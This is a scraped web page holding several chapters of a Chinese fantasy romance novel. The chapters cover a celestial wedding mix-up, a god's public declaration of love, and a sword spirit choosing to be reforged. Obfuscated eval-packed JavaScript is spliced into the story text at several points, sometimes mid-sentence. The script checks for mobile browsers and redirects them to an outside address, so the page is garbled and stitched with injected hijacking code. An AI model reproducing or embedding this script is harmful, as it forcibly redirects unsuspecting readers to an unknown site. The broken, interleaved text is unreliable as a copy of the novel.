无定却是无力地笑了笑:“我的修为被蛊毒封印,爱莫能助了。” “啊?”薛介一张脸上很是不满,骨碌碌打转的眼珠子里不知含着多少坏主意,“那,那我把你送回去得了,唉,白白费力气。” 无定抬手:“且慢,我虽不能助你,但神君可以,你带我上天界。” * 十一觉得奇怪,山君在镇山石下站了快一炷香的时间了,还是一动不动,起初只是以为她又在惆怅,可半晌过去,还是这副负手不言的模样,多少有些怪异了。 她小跑过去,轻轻拍了拍扶西的肩头,岂料指尖方触到她衣料,面前生气满满,面色红润的扶西瞬时变作了一截木头,沉闷的声响过后,倒在了十一的脚边。 十一几乎快尖叫出来,连忙唤来陆眠小侯,三人围着木头愣了一瞬,立刻发动众人在山中寻找扶西的踪影。扶西虽常常做些不着调的事情,可今日是她同献流的大婚之日,再怎么贪玩也不会在今日这样重要的日子里掉链子吧。 果不其然,扶西确实不在山中,众人望着镇山石上献流的身影,只盼望着他快点醒来。 扶西失踪事宜得尽快告知天界,可他们是低阶地仙,若无人襄助便难以登天,只得焦灼地等待天界的人到来。 就在此时,山中地面忽然剧烈地抖动起来,红绸飞扬,镇山石中金光大作,近乎直冲云霄,短暂的震动过后又以极快的速度生长起来。 不错,生长。 这石头仿佛有了生命的树木,托着献流的身体快速沿着金光闪闪,直通云霄的光柱前行,还不等山中众人反应过来,镇山石便已穿进层层云彩之中,连带着原本的扶西山都扩大了不知多少倍。 一座小小的海上仙山,此刻化作庞然大物,连山顶都瞧不着了。 献流缓缓睁开眼睛,轻飘飘地落在启明殿中,他低头,才发现自己居然身着大红喜袍,繁复精致的样式是他从未尝试过的艳色,更衬得他面白如玉,顾盼生姿。 是了,此刻他依旧还是个女人。 还没反应过来怎么回事,觅影就已经冲了上来,他哇的大叫一声,嚎道:“神君呐!您可算醒了,天君真是神算,说您在今日醒,果然就是今日醒。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783449|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>献流还有些游离在情况之外,他面有愠色:“这是怎么回事?” 觅影瞧着他头上那些繁杂精致的珠钗玉环,下意识地偏了偏头,目光在越过献流肩头时,被院心凭空生出的一块假山惊了惊。 他后退一步:“这是什么?” 献流回头,隐隐有些不耐烦了:“山顶。” 觅影惊了惊,忙道:“神君,今天可是您的大喜日子啊!快快快,听闻西海龙王她们也到了,您既自己登天了,我们就快赶过去吧。” 闻此此处,献流眸子颤抖,他分明已同天君言明退婚事宜,她虽答应得含糊,但行不至于失信。 麟寻也来是什么意思? 脑袋还未从沉睡多年的身体中恢复过来,神思略有昏沉的他已经被觅影拉出了启明殿,只见殿外重重叠叠围了不少天界的神仙,说说笑笑,好不热闹。 连启明殿外也是红绸高挂,喜气洋洋。 前方站着个熟悉的身影,献流蹙着眉头,眼看着她转过身来,正是身着大红喜服的麟寻。 献流视线扫过她全身,发现这喜服的式样与自己极为相似,麟寻向来喜欢打扮,身上不多坠些珍珠是绝不出门的,这回却素了不少,连发髻也挽得十分简单。 见到献流,她竟展露笑颜,缓步行来,端得是落落大方,举止从容:“师兄,你醒了!”她语气里的惊喜不是装的,“师父果然不曾言错,太好了。” 献流脑子嗡嗡的,脚底竟有些生寒。 “你,你不是不愿意成亲吗?” 麟寻眼睛稍稍睁大,面颊上竟罕见地出现了一抹绯红:“并没有,我一直都很愿意,等这一天等了太久了。” 那你怎么还算计我! 献流腹诽,却不好出声,眼看着众仙都教教围过来,他只觉得胸口热得不像话,连呼吸都有些困难了。 “师兄,师兄,你怎么了?”麟寻凑过来,很是关切,面色上露出一两分愧疚,“从前算计你,很是过意不去,你能不能原谅我?” 说这些做什么! 献流环顾着四周的人脸,那个渴望醒来第一时间就能见到的人并未出现,他心中浮现出许多莫名其妙的场景,都是在他沉睡的时候。 一会儿是天君抬手,神情冷冽:“你一个小小山君,怎能与我爱徒相配,去死吧!” 扶西被巨大的冲击波打中,伏在地上一命呜呼。 一会儿是扶西接过天君递来的千金财宝,眼睛泛着金光:“您的意思是,只要离开献流,这些东西都归我?” “当然。” “太好了,发财了!”扶西眼睛亮堂堂的,抱着装满财宝的乾坤囊美滋滋地离开凌霄宝殿。 一会儿又是麟寻面容嫌弃地甩开青泽的手:“你虽为我生了三十二个孩子,可那又怎样,父亲不同意就是不同意,我还是得登天,寻我师兄去。” 青泽跪在地上哭得泣不成声,抽噎着道:“殿下,殿下怎会这样无情……呜呜呜。” 一会儿又是天君那张很久不曾展露笑意的脸,她抬起懒洋洋的眼皮:“不是你说的,跟谁成亲都没什么分别,说情爱是浮云吗?” 献流蹙眉,极力维持着身形,挺拔的身姿可见微微颤抖,他一把拍开不知道是谁伸过来的手,身体的五脏六腑热血翻涌。 “飒——” 不顾众人阻拦,他掐来一朵云,飞速行往天外天。 “师兄——” “神君——” “献流——” 所有呼喊的声音都被他抛诸脑后,他现在只有一个念头,找到扶西! 61. 而且,而且! 献流急速前进着,回头却发现众仙无不神色奇异又紧张地跟着他乘云来到天外天,献流驻足回身,他们便也浩浩荡荡地停了下来。 觅影大声道:“神君,您要去哪啊!” 麟寻亦是不解:“师兄,你怎么了?” 褚易和金昌也忧心忡忡地望着他。 众仙交头接耳,嗡嗡的说话声模糊不清,传到献流耳中只剩下一些带着气音的叹息,他觉得眼前的景象天旋地转,众仙面容忽近忽远,一张一合的唇里吐出来的话,没有一句是能全部听清的。 良久,他看到天君乘云而来的身影,心中兀的翻涌起来,从前与师父所说的退婚,莫非她都吃到肚子里了吗? 他忽然能理解麟寻从前那种叫天不应叫地不灵的感受了。 目光再转向麟寻,却见她面容疑惑,眉毛悄悄压低,看来对他的行径很是不解:“师兄,吉时将至,你这是做什么?” 吉时?哪里来的吉时…… 献流呼吸急促,胸膛起伏的幅度越来越大,他重重甩了甩长袖,快速的动作几乎将头上的彩冠甩歪了。 他向来不是个话多的人,很多时候都是一副冷冰冰不近人情的模样,急速的瞬间里,他脑海中满是扶西的模样和动作,他记得扶西坐在船头,他将脑袋轻轻搁到她的肩上,船头上摇摇晃晃的暖光洒在她身上,那么安宁。 不过后面好像被打了一拳,不是,两拳…… 咳咳—— 那他还记得自己在夜里跃到桑树枝上,拉着扶西躺在自己胸膛上,月光静谧,扶西抬眼看他,那双映着月光的眼真叫他怎么都忘不了。 不过后面好像一齐掉了下去,摔了个狗啃泥…… 咳咳—— 他还记得那个死死缠绕的夜里,扶西迷离的眸子和大胆的剖白,献流心头一颤,只觉得胸膛热意更深,跳动得更厉害了。 他抚上心口的温热,抬眼望向对面,一字一句问道:“扶西呢?” 此言一出,对面众仙果然缄默了一瞬,而后是更加沸反盈天的讨论。 “是啊,怎么不见扶西山君?” “她人呢?这么重要的日子也能掉链子,啧啧……” 帝容转头唤来觅影,眉头紧蹙:“是了,扶西人呢?怎么能这么不着调?” 觅影挠了挠脑袋:“寻踪已下扶西山去接人了,是神君自己忽然捅破了天,升到启明殿中的。” 帝容闻言双眼微微睁大。 献流嗤笑着扫视过面前众人,最后将目光停留在有些疑惑不解却又无可奈何的帝容身上。 他几乎耗尽毕生的勇气。 “我与扶西情投意合,今生!”他咬牙,“非她不娶——” “娶——娶——娶——” 天外天甚是空旷,因此献流的声音在这里飘来荡去,久久不停。 众仙又喧闹起来,帝容面色里出现了一两分的不耐烦,只道自己这徒弟又抽的什么风,谁人不知他二人情投意合,用得着再说一遍。 于是她抬了抬下巴:“回来。” 献流整个人不住地颤抖起来,而后,鼓足了勇气,大声呵道:“而且,而且……”他顿了顿,喉头微动,“我已怀了她的孩子,我们此生,绝不会分开——” “孩子——孩子——子——” “分开——分开——开——” 众人:…… 此言一出,献流整个脸已经红得不像话,他只觉得有数不尽的红蚁攀上他的身体每一寸肌肤,重重叮咬,每个毛孔都颤栗着叫嚣起来。 众仙登时哑口无言,明明都是毫不相干的面容,此刻却出奇一致地露出一模一样的容色。 献流此言可谓惊世骇俗,震得他们嘴唇微张,双眼大睁,嗫嚅半晌竟是一个字也吐不出来。 他平复呼吸,转身就要离去。 帝容和麟寻察觉出不对劲来,正欲上前阻止,谁料人群尽头一抹红色的身影正努力扒开层层叠叠的仙人,挤到最前头来。 正是扶西。 “献流——” 她赶到时,恰好听见最后一句,献流居然怀了她的孩子,她怎么不知道,一点也看不出来啊? 肚子,肚子那么平坦,这孩子怀哪了? 她鲜少见献流这样直白热烈地剖白心意,一张脸自然也是红晕满满,虽然很是好听,也不必这样堂而皇之,且,献流似乎对今日的婚事有什么误会…… 于是乎她又往前走了一步,柔声道:“可,今日不就是我们成亲的日子吗?” 献流:“……” 死寂,长久的死寂。 献流快速眨巴了下眼睛,目光落在扶西身上,她身着和自己样式极为相似的大红喜袍,长袖曳地,样式繁复,仔细看就能发现与自己身上所穿正是一对。 扶西微笑着,眨巴着那双灵动的眼,过了会儿又咧嘴笑出来,身体作势就要离开云头飞起来。 “殿下,这是怎么了?”青泽穿着与麟寻十分相像的喜袍赶过来,他在喜房等的有点久,听闻天外天出事,麟寻也在,故而急急忙忙赶来。 可这里似乎也就是人多了点,并无奇怪之处,除了那个隔得远远的,立在云头的战神。 青泽抬眼,视线与献流对上。 “师兄,似乎误会了什么……”麟寻收回观察献流的视线,转而看向青泽。 献流见此情景,整个人的脸比方才还要红。 他抬起一只手,捂住脸颊。 扶西飞身上前,一把将他揽过来,她轻轻按了按献流的脑袋,克服他倔强的脖颈后将人按到自己怀里。 献流双手紧握成拳,他想去投水。 “不好了!山君失踪了——”十一急急忙忙地从寻踪的云头上跳下来,将要说出口的话却被面前与她对视的扶西打断了。 “呃……”十一抬手指了指扶西,“山君,你什么时候上来的?脸上怎么那么多灰?” 扶西抬手随意擦了擦:“说来话长,我们也别在这里干待着了,走走走。” “哦。”十一略有迟钝地点点头,几个扶西山上来的小地仙跟在扶西身后,连成一串。 “神君——” 众人嘴唇动了动,嘿!这天外天的事,还没完没了了。 “神君——” 只见天外天尽头,有一片粉色的影子极速飞来,薄薄一片,上头还有个小黑点。 “神君——” 这声音怪耳熟的,献流回过头,不过片刻,砰的一声,无定落地自己前方的一片云上,还重重摔了个跪地不起。 “无定?” 无定抬头,仰起一张灰扑扑的脸,抱拳道:“神君,我有事相求。”言罢他指了指脚边那片粉色的身影。 直至这时,大家才注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788026|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意到无定脚边还有个东西,说是东西也不尽然,这正是薛介本尊,他动了动摇摇晃晃的手臂,撑着自己趔趄着站起来。 他面容展现出来,把扶西吓得往后跳了一步:“这是什么东西?” 薛介眯着长长的眼睛:“啊呀!扶西山君,居然是你!”他说着说着激动起来,“你赔我美丽的脸蛋,妖娆的身材!我恨死你了。” 听到声音,扶西久远的记忆才被唤醒,这不是在人间被好石头踩了一脚的黑蜘蛛嘛。 “你赔我!”他说得委屈,两行面条似的眼泪说掉就掉,“一百多年了,我寻遍仙法,都恢复不了。” “薛介救我一回,可我如今仙法尽失,还不了他,这才求到神君这里。”无定垂下头,身体又疼痛起来,显然是卫和在催动蛊毒。 见他如此激动,献流上前一步,将扶西挡在身后,抬手朝着薛介施法,红黄蓝绿青蓝紫的仙气过后,薛介依旧是片薄薄的板子,分毫未改。 献流也觉得奇怪。 帝容飞身而来,这场婚事真是热闹,闹剧一个又一个,她实在瞧不下去了,只想着尽早解决了这些破事,让两对新人尽快拜堂成亲才是正道。 谁料她施法半晌,薛介依旧纹丝不动。 这世上,居然有连天君都解不开的术法,何等离奇,何等诡谲,何等可怖! “谁施下的?” 扶西回忆了会儿:“好石头,我们从人间带回来的一座石台。” 帝容蹙眉,亦是不解。 这术法奇特,倒是挑起了众仙的兴趣,不断有人上前试试,谁料都是无功而返。 左右距离吉时还有些时候,扶西望着薛介心如死灰的眼神,忽的想到了什么。 她抓住献流的手臂:“木石之心!” 献流偏头和她对视,也陡然反应过来。 扶西晃了晃他手臂:“你变个风箱出来!” 献流点头,扶西望着凭空出现的风箱,不顾薛介的挣扎就将出气孔对准他的嘴巴一杵,然后开始快速送风。 同所谓的木石之心只是个榫卯结构一样,薛介根本没中什么术法,只是单纯被踩扁了罢了。 薛介挥舞手脚挣扎着,整个身体被送入数不清的风,慢慢膨大,膨大,就像一只皮球。 他缓缓升了起来。 投下的黑影也渐渐盖过众人。 “唔唔唔……” 扶西送风:“呲——” 薛介涨大:“飒——” 膨大到了极点了!! “噗噗噗——” 薛介的身体立刻以极快的速度缩小,黑影也逐渐缩小。 哐的一声,他落到了地上。 “我的手!我的脸!我的头!啊哈哈!”他兴奋地摸着自己的身体,还未从惊恐中缓过来,就迫不及待地喜悦起来,“我的脸蛋,脸蛋哈哈哈,回来了——” 扶西见他还趴在地上,便朝他伸出手:“起来吧。” “凡间之事,一笔勾销,今日是我和献流的大喜日子,你也来喝一杯吧。”扶西笑眯眯的。 不等薛介起身,天外天又有声音了! 还真没完没了! 只见魔君卫风和右护法卫和飘飘然从云头上下来。 卫和看了眼跪在地上的无定,便抬起头朝着献流扶西拱了拱手:“山君与战神大婚,我也想喝一杯喜酒。” 62. 无定裂体 虽说卫和与卫风是贸然登天,但也不好怠慢,褚易被推去接引,却发现卫和的目光时不时往献流身边的无定上瞟。 他腹诽,这卫和是六界闻名的花花肠子,也不知当初师姐究竟是被迷了哪一窍,居然肯相信卫和对师兄有情。 虽说她当真入了轮回,可这样的事情先前也不是没做过,传闻她曾在魔界山野就下过一只被追杀的九尾狐妖,甚至不惜豁出性命为他取来雪地冰莲,以修复狐妖失去的尾巴。 那狐妖自然感动到不行,连哭带抱地投入卫和的怀抱,卫和笑眯眯地将他吃干抹净,然后毫不留情地一脚踹飞,至于从前的所谓豁出性命的冰莲,也不过是她花重金买来的。 此人最擅长玩弄人心,褚易定神,还好还好,她没缠着师兄真是大大大大幸! 想必她纵横四海,什么样的男人都玩腻了,脸无定不肯屈服,更是兴致勃勃。 献流似乎也察觉到了一丝不对劲,故而抬手将无定变回长剑,封闭神识,佩在腰间。 卫和见此,眉毛都快烧着了。 扶西笑吟吟地拉着献流的手,牛高马大的身躯实在做不出小鸟依人的动作,她琢磨了半晌,最终决定将献流揽入自己怀中。 真好,百年不见,他还是曾经的模样。 只是这药王的药,未免也太过神奇,怎么还没解开呢? “你说怀孕,是什么的时候的事啊?”扶西凑到献流耳边,悄悄问道。 献流的耳垂陡然红了,他抬眼,似有愠怒,仿佛在说,还能有什么时候? 扶西恍然大悟,连连点头。 可又觉得奇怪:“我说呢,开了花结了果,半晌不见种子,我还以为是自己不行呢?” 献流感受反正胸口的热意,想了想:“会不会是真身的缘故?” 扶西一拍手:“是呀!我的真身还在你那里,开花结果,都在真身上,按理说结了果得了种子我拿出来种地上就行了,不必辛苦怀孕,可到你身上怎么就……” 献流咳嗽两声,被她这么一说,整个人似乎真的有些不舒服想吐了。 扶西察觉到他有些蹙起的眉头,连忙凑过去低声道:“要不要先坐一会儿,我给你揉揉脑袋?” 献流微微一笑,摆了摆手,只道自己无妨。 在锣鼓喧天的声音里,扶西同献流,青泽与麟寻满面红光,齐齐步入由彩云搭就的“鹊桥”。两侧是面容老老少少的神仙们,天界许久不曾有这样的喜事,他们也很是高兴,一个劲儿地说着恭喜。 扶西也连忙回礼,整个人是前所未有的欢愉,方才同卫和大吵一架,又从扶西山直升启明殿,她一路跑一路急,只怕献流睡个一百年起来又成了傻子。 老龙王在远处负手而立,向来刻薄的脸上也难得出现一两分温情,他捋着胡子,眼珠子不住上翻,今日特地穿戴整齐的新衣裳被拉扯得歪七八扭。 “爷爷!” “爷爷!” “快看,是娘亲和爹爹——” “爹爹,娘亲!” “娘亲,爹爹!” 老龙王吸了吸鼻子,慢腾腾地把老二十五从自己脑袋上抓下来。 帝容在旁边看得眉头直皱,刚知道此事时她心中只有震惊两字,那个常常冷脸,穿珠佩玉的骄傲徒弟,就这么一言不发地,悄悄地生了这么多。 她被噎得说不出话,脑海里却忍不住想三十二个,那怀的时候……她忍不住低头看自己的肚子,还抬手稍稍比划了一下。 麟寻却道:“不是我生。” 帝容立刻就放心了,还好不是她生,这怎么生嘛。 等等!青泽生?!! 帝容更凌乱了,尤其方才,献流在云头上那副信誓旦旦说自己怀孕了的模样,她收徒弟的时候一定是出了什么错。 “他此刻是女身,如何不能怀孕?”老龙王一眼瞧出帝容内心所想。 帝容刚放到嘴里的茶水差点没收住喷出来,哈哈,对对对,是是是。 此刻就着五彩的霞光和漫天飞扬的红绸,扶西的心情也从焦躁化作安宁。 来到尽头众长辈面前,两对新人过完仪式,结发为证,扶西心头的大石头总算落下,还喝什么酒,吃什么肉,趁着夜色将近,急不可耐地就拉着献流往屋子里走。 谁想卫和却已站在了这里,似乎早已料定两人会来这里。 她开门见山:“无定,给我。” 献流自然看得出卫和与无定之间出了什么差错,于是乎解下佩剑,叫他化作人形。 卫和见无定现形,作势就要上前,却被扶西给拦在一旁。 无定朝献流跪着,不等卫和开口,急忙道:“护法在我体内施了蛊毒,还囚禁我,逼迫我,神君,我,我自请裂体,封闭神识,再回昆仑雪山重铸剑身!” 此言一出,三人都是吸了口冷气,无定所言,可是实打实的回炉重造,对自己都这么心狠,可见想离开卫和的心是多么的急切了。 卫和动作一滞,打量无定的目光从惊愕缓缓变作探寻:“好烈的男子。” 她这么说,自然是对无定更感兴趣了。 “卫和。”献流出声,卫和便止住了上前的脚步,她看向这个身着锦袍的美艳女子,心中浮出一两分不屑。 “感情之事,不可强求。”他说。 卫和撇撇嘴,又是这种陈词滥调,冠冕堂皇的话,天界的人果然都是这样。 卫和瞧着无定那副宁死不从的刚烈模样,唇角微微扬起,虽说不能和他共赴逍遥快活窝,可见他一直吃瘪却也乐趣横生,就像逗一只被剪去指甲,凶巴巴的猫。 见无定如此坚定,卫和也自讨没趣,虽说这是她从小到大第一个弄不到手的人,可她死缠烂打一天多,也累了。 “罢了。”她抬手解去无定身上的蛊毒,缓步向前,“我就不勉强你了。” 她不过行出去三四步,便有魔君卫风接上来,他朝着献流拱了拱手,继而对自己小妹道:“那人叫褚易,是蓬莱岛岛主。” 他声线本就粗放,即便已经刻意压低声音,后头的三人还是听得清清楚楚。 卫风语气自然也是很不耐烦的:“你又看上他什么了,这次再弄什么下凡历劫,我是绝对不会答应的。” “呵,卫和冷笑一声,这些都别提,今日你为什么换我的新郎?” “咳咳,一把剑有什么好,你跟一把剑成亲,丢我魔界的脸,再说了,你一开始看上的,不是那个什么什么献流吗?我抓了来给你,怎么还不高兴?” 卫和沉默了一阵:“你仔细确认过吗?你抓来的人,是献流吗?” 卫风挠了挠头:“不是吗?” 卫和也没了耐心:“罢了,不提了。”转而问道,“你打听的对吗?那蓬莱岛主可有婚配,亦或是有未婚妻……” 她从前找男人的标准是没成亲就行,经此一事,彻底明白,有婚约的也不行。 两人身影渐行渐远,声音也越来越模糊。 无定眉头紧皱,用拳头重重锤了一下地面:“这个卫和,果然是个花花肠子。”不过登天与蓬莱岛主见了一面,这么快就算计上了。 “神君! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794492|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他握拳,“我自有灵识,便希望自己能成为天下第一的宝器,如今身心受凡思所污,只望裂体,回归原本的模样,在昆仑重铸剑身!” 他倒是坚定。 扶西歪了歪脑袋:“那你与卫和在凡间三生三世,你当真不曾对她有意?” 无定摇头:“凡尘事系命书,早有因果,我从来都是无定。起初那些残留的记忆与感情确实牵绊着我,让我迷失,可如今我早已醒悟看透,那些,都不是我!” 听到他这样说,扶西点了点头。 献流:“你想好了?” “嗯!” “不后悔?” “不后悔。” “那三日后……” 无定抬手:“不,不要三日后,请神君即刻动手。”他伏在地上,“望我归时,仍是天下第一的宝器,供神君驱使。” 献流见他如此坚决,便抬手施法,顷刻间无定化回一柄通体透明的长剑,浮在空中微微颤抖,而后便裂作点点微光,快速朝着昆仑山的方向奔去。 两人站了一会儿,扶西道:“看来那些三生三世,十生十世的话本子都是骗人的。” 献流手指动了动,蹭到扶西的掌心:“在凡间万事不由己,做过的事可以忘却,可感情却是实打实的。”说到这里,献流似乎想起了什么,“你可知灵光帝君?” 扶西眨巴着眼睛,正想摇头,却忽然想了起来,从前那个在偷摸摸和别的仙子调情的男人:“是他!” 献流愣愣,没想到扶西居然知道:“此人打翻了太上老君的丹炉,被罚下界,恰巧有位瑶池仙子也因犯错被投入人间,原本他们不会有交集的,可司命殿在烧命书的时候烧重了。 两人便在凡尘好一番爱恨纠葛,至死方休,归天之后灵光还是对那仙子阿岚念念不忘,求娶之后也是恩爱非常。 可在我归天之前,他们就已经分开了,具体缘由虽不知,却可见在凡间由命书驱使而产生的感情,并不稳定。” 扶西听着,却只想起那灵光油腻地调戏仙女,诋毁前任,嘴角忍不住拉了下来。 “师兄说的对。”竟是麟寻缓步而来,她朝着献流拜了一拜,“灵光不过是思凡,凡尘诸事未了,他便在天上再续情缘,借着与阿岚悬殊的地位,将她强娶回府,若非当日我偶然遇见,阿岚怕是已经被他折磨死了。” 扶西倒吸一口冷气,想来这正气浩然的天界,也藏着不少腌臜东西。 献流自然也不曾听过这后面的部分,因心头不悦而稍稍拧了拧眉毛。 “师兄放心,已罚过了。” 献流心头舒坦多了。 “我此来,是为向你赔罪。”麟寻抿了抿唇,她这百年天罚,倏忽过去,思及从前的所作所为,愈发懊恼,于是斟了一杯酒,“从前是我莽撞,心中愤恨,寄希望于卫和能在凡间与你纠缠,归天后让你改变心意,如今想来,实在荒唐。” 一本小小的命书,凭什么要牵动真正的自己。 麟寻抬眼,一饮而尽:“我实在,唉……”她又喝了一杯。 献流按住她还要再斟酒的手:“你不必郁结于心,我不怪你。” 麟寻听完,从来不肯服软的人也忍不住红了眼眶:“师兄,你果然是这世上最好的师兄。” 献流有点不好意思,沉默了一会儿,忍不住问:“如若时光倒流,你还会这样做吗?” 麟寻没想到他这样问,一张脸上五官不自然地扭曲起来,很是纠结,半晌后才垂着眼睛,铿锵有力道:“我,我还是会这样做。” 献流:“……” 63. 要生了! 趁着没有人再来,扶西握住献流的手,一把将他拉进自己怀中,抱着他跳到启明殿中的扶西山山顶,就着镇山石的弧度极速下滑。 穿过略微带着点水汽的云彩,两个人的喜袍被稍稍沾湿,在坠落的空隙里掠过几只盘旋在山腰的飞鸟。 叽叽喳喳的鸟儿得了信,奔走相告,由两三只变作一大群,环绕着他们围成一个圆圈,最后更是大胆地上前用喙钳住两人的衣袖,将她们托了起来。 扶西望着献流咧嘴一笑。 献流也轻笑出声。 落地之时山中已经黑夜,化作人形的动物们围在篝火前打闹,见扶西回来,哗啦啦地都围了上来。 “山君——” 扶西笑吟吟地揉了揉个凑过来的毛头小子。 那孩子抬起亮晶晶的眼:“山君,他就是你的夫君吗?好漂亮!” 扶西很是骄傲地昂起脑袋,将扶西揽过来:“那当然。”她按不住上扬的嘴角,一把抓住献流的手,指着前面的篝火道,“我们也去看看吧!” 献流微笑着:“好。” 她还记得呢,献流怀着孕,应该不能跑跳。 两人坐到树下,扶西双手圈住献流的腰身,将脑袋搁到他的腿上,调整姿势时还蹭了蹭,她把耳朵贴在献流腹前:“怀得这么久,莫不是个‘哪吒’?” 她抬眼,恰好和献流垂下的目光对在一处,他眸子里映着暖黄的火光,整个人都显得那么柔和,凌厉的眉角似乎都化作三月的春水。 扶西:“嗯?” 献流忽然一把抓住扶西那只在他腹前作乱的手,缓缓将其移到胸口,他神色认真,目光如水:“没在肚子里,在心口。” 隔着布料上触感明显的刺绣,扶西只觉得指尖烫得厉害,掌心传来规律的跳动,渐渐与她的心跳节奏合到一处。 “孩子,在这里?”她指节动了动,手背上温热的触感愈发明显。 “嗯。”献流轻声道,“因为你的真身也在这里。” “那,那你什么时候知道有孩子了的?” 献流唇角轻轻上扬,又朝扶西凑得近了些:“大概是刚醒来的时候吧……” 他带着丝丝热意的气息喷吐在扶西耳廓旁,扶西被燎得掌心发烫,眼看着献流慢腾腾地撤回身去,笑吟吟地瞧她,将她的手禁锢得愈发紧。 一阵带着若有似无香气的微风扑鼻而来,献流已经将扶西的手拉到了自己肩头,他俯身,轻轻吻在扶西唇角。 一触即分。 扶西愣了愣,另一只搂着献流的手顺着献流的动物缓缓松开,手背触到冰凉的草尖,她才发觉自己已经枕到了献流的腿上。 她只觉得周遭都迷蒙起来,模糊的人影,模糊的歌声,模糊的火苗,唯一清晰的只有眼前这个人,这双眼。 献流弯腰,定定地注视着她。 扶西又没忍住:“献流,你真好看。”言语间,她已经抬起手来轻轻触碰献流的眉角,稍有些冰凉,她指尖延着鼻梁的弧度缓缓向下,最后停在献流的唇上。 好艳的唇,扶西心想。 于是她恶劣地揉弄起他柔软的下唇,脑子有些混沌,她只觉得这人肯定是稍稍涂了点口脂,她抹到嘴角,却是什么都没有。 献流忽而抓住她那双胡作非为的手,用掌心重重裹住,又有些蛮横地将自己的五指也送去扶西五指之间,放到唇角轻轻蹭了一下。 他做这些动作的时候,依旧定定地看着扶西,眸子里的水荡漾得不成模样:“你做什么?” “想做什么就做什么呀。” 献流轻笑出声:“那我也是。”言罢他忽然倾身而下,下唇重重覆到扶西唇上,一时间又是唇齿相撞,扶西闷哼一声,挣开另一只手搂上献流脖颈,指尖在他后颈的皮肤上不轻不重地摩挲起来。 献流不喜繁复的发髻,施法散了去,如瀑的黑发倾泻而下,柔顺地垂在扶西身侧,有那么一两缕不听话的还时不时挠着扶西的颈窝。 许是觉得这个姿势有些不大舒服,献流忽的将她抱了起来,扶西来不及惊呼忽然飞到半空又骤然落入献流臂弯的身体,模糊的视线里献流比方才还要红的嘴唇又落了下来。 他们绕到大树的背面,等回过神时,扶西发现自己竟将献流抵到了粗糙的树皮上,一双不安分的手已经剥掉了他的腰带,外袍松松垮垮地落在臂弯上。 她低头看自己,也没好到哪里去,里衣十分松垮,献流的手还在里面。 “等……等一下……” 献流掀开带了点汗珠的长睫:“我知道,这里,不行……”他剧烈地喘息着,显然还未从欲海中抽身,好在还有一两分清明。 他上前两步捞过扶西,如一道闪电即刻便来到了扶西房中,他似乎比扶西还要急不可耐,草草锁上房门,便一把将扶西圈到了墙角。 扶西还来不及说话,嘴唇又被堵住了。 久别以后,扶西自然也是按捺不住,她鼻尖全是献流身上清冷的香气,整个人如入圣境,霭霭云雾之间,她近乎失去了所有的直觉。 “不,不……”她在分开的空隙中艰难出声,“不行……” 献流不再吻她,而是用那双水汪汪的眼望着她:“为,为什么?”他压低了眉毛,整个人显得那么可怜兮兮,扶西目光再放到他近乎赤着的上身和上面的痕迹,一张脸红得不像话。 “我,我怕你再昏过去,药王说过,是我睡了你,才叫你昏过去的。”扶西抿了抿唇。 献流却捧住她的脸:“他骗你的,他不懂。” 扶西却道:“我能忍,我们亲一亲算了,别再继续下去了,万一你再昏过去一百年,我等不了了……” “不会的。”献流又欺身上来,还轻轻咬了咬扶西的脸颊,“你信我,还是信他?” “万一……” “没有万一。”他说得斩钉截铁,目光澄澈而坚定,望得本就心志不坚的扶西愈发动摇,她攥着衣袖,咬牙挣扎。 “我醒得过来。”他一面说话,一面用拇指轻轻摩挲着扶西脸颊,“我若醒不过来,你大可以找别人去。” 扶西眉头拧起来:“你怎么能这么想?” “那你等不等我?” “当然等。” “多久都等?” “多久都等。” “一百年,一千年,一万年,都等吗?” “都等,我……” 后面的话是再也说不出来了,献流又吻了上来,这回很是用力,扶西不甘示弱,搅得献流几乎窒息,他喘息着,哑声道:“扶西,我忍不了了……” 扶西脑海一片混沌,该死,望着献流这双迷离的眼,冰魄一般的眸子软烂成水,她也忍不了了。 千钧一发之际。 扶西尴尬地笑了两声:“忘了,又忘了,还是我来。” …… 扶西是被早晨的阳光照醒的,她抬手挡了挡阳光顺势又将怀里的人搂得更紧。 献流此刻依旧沉沉睡着,扶西便伸手揉了揉腰。 啊,又累了一夜,还好她的身体好。 不对不对!!!! 她连忙将手指放到献流鼻下,直到指节上传来有节奏的气息,她才放下心来。 等等,也不对。 献流管不住自己便罢了,她怎么也能这样管不住自己呢?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 